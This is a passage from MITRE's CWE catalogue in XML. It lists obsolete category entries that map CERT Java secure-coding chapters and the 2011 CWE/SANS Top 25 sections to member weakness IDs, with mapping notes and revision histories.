            <Has_Member CWE_ID="362" View_ID="844"/>
            <Has_Member CWE_ID="366" View_ID="844"/>
            <Has_Member CWE_ID="413" View_ID="844"/>
            <Has_Member CWE_ID="567" View_ID="844"/>
            <Has_Member CWE_ID="662" View_ID="844"/>
            <Has_Member CWE_ID="667" View_ID="844"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-813"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2011-05-24</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Description, Name, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2019-01-03">CERT Java Secure Coding Section 07 - Visibility and Atomicity (VNA)</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="853" Name="The CERT Oracle Secure Coding Standard for Java (2011) Chapter 10 - Locking (LCK)" Status="Obsolete">
         <Summary>Weaknesses in this category are related to rules in the Locking (LCK) chapter of The CERT Oracle Secure Coding Standard for Java (2011).</Summary>
         <Relationships>
            <Has_Member CWE_ID="412" View_ID="844"/>
            <Has_Member CWE_ID="413" View_ID="844"/>
            <Has_Member CWE_ID="609" View_ID="844"/>
            <Has_Member CWE_ID="667" View_ID="844"/>
            <Has_Member CWE_ID="820" View_ID="844"/>
            <Has_Member CWE_ID="833" View_ID="844"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-813"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2011-05-24</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Description, Name, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2019-01-03">CERT Java Secure Coding Section 08 - Locking (LCK)</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="854" Name="The CERT Oracle Secure Coding Standard for Java (2011) Chapter 11 - Thread APIs (THI)" Status="Obsolete">
         <Summary>Weaknesses in this category are related to rules in the Thread APIs (THI) chapter of The CERT Oracle Secure Coding Standard for Java (2011).</Summary>
         <Relationships>
            <Has_Member CWE_ID="572" View_ID="844"/>
            <Has_Member CWE_ID="705" View_ID="844"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-813"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2011-05-24</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Description, Name, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2019-01-03">CERT Java Secure Coding Section 09 - Thread APIs (THI)</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="855" Name="The CERT Oracle Secure Coding Standard for Java (2011) Chapter 12 - Thread Pools (TPS)" Status="Obsolete">
         <Summary>Weaknesses in this category are related to rules in the Thread Pools (TPS) chapter of The CERT Oracle Secure Coding Standard for Java (2011).</Summary>
         <Relationships>
            <Has_Member CWE_ID="392" View_ID="844"/>
            <Has_Member CWE_ID="405" View_ID="844"/>
            <Has_Member CWE_ID="410" View_ID="844"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-813"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2011-05-24</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Description, Name, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2019-01-03">CERT Java Secure Coding Section 10 - Thread Pools (TPS)</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="856" Name="The CERT Oracle Secure Coding Standard for Java (2011) Chapter 13 - Thread-Safety Miscellaneous (TSM)" Status="Obsolete">
         <Summary>Weaknesses in this category are related to rules in the Thread-Safety Miscellaneous (TSM) chapter of The CERT Oracle Secure Coding Standard for Java (2011).</Summary>
         <References>
            <Reference External_Reference_ID="REF-813"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2011-05-24</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Description, Name, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2019-01-03">CERT Java Secure Coding Section 11 - Thread-Safety Miscellaneous (TSM)</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="857" Name="The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)" Status="Obsolete">
         <Summary>Weaknesses in this category are related to rules in the Input Output (FIO) chapter of The CERT Oracle Secure Coding Standard for Java (2011).</Summary>
         <Relationships>
            <Has_Member CWE_ID="135" View_ID="844"/>
            <Has_Member CWE_ID="198" View_ID="844"/>
            <Has_Member CWE_ID="276" View_ID="844"/>
            <Has_Member CWE_ID="279" View_ID="844"/>
            <Has_Member CWE_ID="359" View_ID="844"/>
            <Has_Member CWE_ID="377" View_ID="844"/>
            <Has_Member CWE_ID="404" View_ID="844"/>
            <Has_Member CWE_ID="405" View_ID="844"/>
            <Has_Member CWE_ID="459" View_ID="844"/>
            <Has_Member CWE_ID="532" View_ID="844"/>
            <Has_Member CWE_ID="67" View_ID="844"/>
            <Has_Member CWE_ID="732" View_ID="844"/>
            <Has_Member CWE_ID="770" View_ID="844"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-813"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2011-05-24</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Description, Name, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2019-01-03">CERT Java Secure Coding Section 12 - Input Output (FIO)</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="858" Name="The CERT Oracle Secure Coding Standard for Java (2011) Chapter 15 - Serialization (SER)" Status="Obsolete">
         <Summary>Weaknesses in this category are related to rules in the Serialization (SER) chapter of The CERT Oracle Secure Coding Standard for Java (2011).</Summary>
         <Relationships>
            <Has_Member CWE_ID="250" View_ID="844"/>
            <Has_Member CWE_ID="319" View_ID="844"/>
            <Has_Member CWE_ID="400" View_ID="844"/>
            <Has_Member CWE_ID="499" View_ID="844"/>
            <Has_Member CWE_ID="502" View_ID="844"/>
            <Has_Member CWE_ID="589" View_ID="844"/>
            <Has_Member CWE_ID="770" View_ID="844"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-813"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2011-05-24</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Description, Name, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2019-01-03">CERT Java Secure Coding Section 13 - Serialization (SER)</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="859" Name="The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)" Status="Obsolete">
         <Summary>Weaknesses in this category are related to rules in the Platform Security (SEC) chapter of The CERT Oracle Secure Coding Standard for Java (2011).</Summary>
         <Relationships>
            <Has_Member CWE_ID="111" View_ID="844"/>
            <Has_Member CWE_ID="266" View_ID="844"/>
            <Has_Member CWE_ID="272" View_ID="844"/>
            <Has_Member CWE_ID="300" View_ID="844"/>
            <Has_Member CWE_ID="302" View_ID="844"/>
            <Has_Member CWE_ID="319" View_ID="844"/>
            <Has_Member CWE_ID="347" View_ID="844"/>
            <Has_Member CWE_ID="470" View_ID="844"/>
            <Has_Member CWE_ID="494" View_ID="844"/>
            <Has_Member CWE_ID="732" View_ID="844"/>
            <Has_Member CWE_ID="807" View_ID="844"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-813"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2011-05-24</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Description, Name, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2019-01-03">CERT Java Secure Coding Section 14 - Platform Security (SEC)</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="860" Name="The CERT Oracle Secure Coding Standard for Java (2011) Chapter 17 - Runtime Environment (ENV)" Status="Obsolete">
         <Summary>Weaknesses in this category are related to rules in the Runtime Environment (ENV) chapter of The CERT Oracle Secure Coding Standard for Java (2011).</Summary>
         <Relationships>
            <Has_Member CWE_ID="349" View_ID="844"/>
            <Has_Member CWE_ID="732" View_ID="844"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-813"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2011-05-24</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Description, Name, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2019-01-03">CERT Java Secure Coding Section 15 - Runtime Environment (ENV)</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="861" Name="The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)" Status="Obsolete">
         <Summary>Weaknesses in this category are related to rules in the Miscellaneous (MSC) chapter of The CERT Oracle Secure Coding Standard for Java (2011).</Summary>
         <Relationships>
            <Has_Member CWE_ID="259" View_ID="844"/>
            <Has_Member CWE_ID="311" View_ID="844"/>
            <Has_Member CWE_ID="330" View_ID="844"/>
            <Has_Member CWE_ID="332" View_ID="844"/>
            <Has_Member CWE_ID="333" View_ID="844"/>
            <Has_Member CWE_ID="336" View_ID="844"/>
            <Has_Member CWE_ID="337" View_ID="844"/>
            <Has_Member CWE_ID="400" View_ID="844"/>
            <Has_Member CWE_ID="401" View_ID="844"/>
            <Has_Member CWE_ID="543" View_ID="844"/>
            <Has_Member CWE_ID="770" View_ID="844"/>
            <Has_Member CWE_ID="798" View_ID="844"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-813"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2011-05-24</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Description, Name, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2019-01-03">CERT Java Secure Coding Section 49 - Miscellaneous (MSC)</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="864" Name="2011 Top 25 - Insecure Interaction Between Components" Status="Obsolete">
         <Summary>Weaknesses in this category are listed in the "Insecure Interaction Between Components" section of the 2011 CWE/SANS Top 25 Most Dangerous Software Errors.</Summary>
         <Relationships>
            <Has_Member CWE_ID="352" View_ID="900"/>
            <Has_Member CWE_ID="434" View_ID="900"/>
            <Has_Member CWE_ID="601" View_ID="900"/>
            <Has_Member CWE_ID="78" View_ID="900"/>
            <Has_Member CWE_ID="79" View_ID="900"/>
            <Has_Member CWE_ID="829" View_ID="900"/>
            <Has_Member CWE_ID="89" View_ID="900"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-843"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2011-06-25</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="865" Name="2011 Top 25 - Risky Resource Management" Status="Obsolete">
         <Summary>Weaknesses in this category are listed in the "Risky Resource Management" section of the 2011 CWE/SANS Top 25 Most Dangerous Software Errors.</Summary>
         <Relationships>
            <Has_Member CWE_ID="120" View_ID="900"/>
            <Has_Member CWE_ID="131" View_ID="900"/>
            <Has_Member CWE_ID="134" View_ID="900"/>
            <Has_Member CWE_ID="190" View_ID="900"/>
            <Has_Member CWE_ID="22" View_ID="900"/>
            <Has_Member CWE_ID="494" View_ID="900"/>
            <Has_Member CWE_ID="676" View_ID="900"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-843"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2011-06-25</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="866" Name="2011 Top 25 - Porous Defenses" Status="Obsolete">
         <Summary>Weaknesses in this category are listed in the "Porous Defenses" section of the 2011 CWE/SANS Top 25 Most Dangerous Software Errors.</Summary>
         <Relationships>
            <Has_Member CWE_ID="250" View_ID="900"/>
            <Has_Member CWE_ID="306" View_ID="900"/>
            <Has_Member CWE_ID="307" View_ID="900"/>
            <Has_Member CWE_ID="311" View_ID="900"/>
            <Has_Member CWE_ID="327" View_ID="900"/>
            <Has_Member CWE_ID="732" View_ID="900"/>
            <Has_Member CWE_ID="759" View_ID="900"/>
            <Has_Member CWE_ID="798" View_ID="900"/>
            <Has_Member CWE_ID="807" View_ID="900"/>
            <Has_Member CWE_ID="862" View_ID="900"/>
            <Has_Member CWE_ID="863" View_ID="900"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-843"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2011-06-25</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="867" Name="2011 Top 25 - Weaknesses On the Cusp" Status="Obsolete">
         <Summary>Weaknesses in this category are not part of the general Top 25, but they were part of the original nominee list from which the Top 25 was drawn.</Summary>
         <Relationships>
            <Has_Member CWE_ID="129" View_ID="900"/>
            <Has_Member CWE_ID="209" View_ID="900"/>
            <Has_Member CWE_ID="212" View_ID="900"/>
            <Has_Member CWE_ID="330" View_ID="900"/>
            <Has_Member CWE_ID="362" View_ID="900"/>
            <Has_Member CWE_ID="456" View_ID="900"/>
            <Has_Member CWE_ID="476" View_ID="900"/>
            <Has_Member CWE_ID="681" View_ID="900"/>
            <Has_Member CWE_ID="754" View_ID="900"/>
            <Has_Member CWE_ID="770" View_ID="900"/>
            <Has_Member CWE_ID="772" View_ID="900"/>
            <Has_Member CWE_ID="805" View_ID="900"/>
            <Has_Member CWE_ID="822" View_ID="900"/>
            <Has_Member CWE_ID="825" View_ID="900"/>
            <Has_Member CWE_ID="838" View_ID="900"/>
            <Has_Member CWE_ID="841" View_ID="900"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-843"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2011-06-25</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="869" Name="CERT C++ Secure Coding Section 01 - Preprocessor (PRE)" Status="Incomplete">
         <Summary>Weaknesses in this category are related to rules in the Preprocessor (PRE) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.</Summary>
         <References>
            <Reference External_Reference_ID="REF-848"/>
         </References>
         <Notes>
       <Note Type="Mapping">
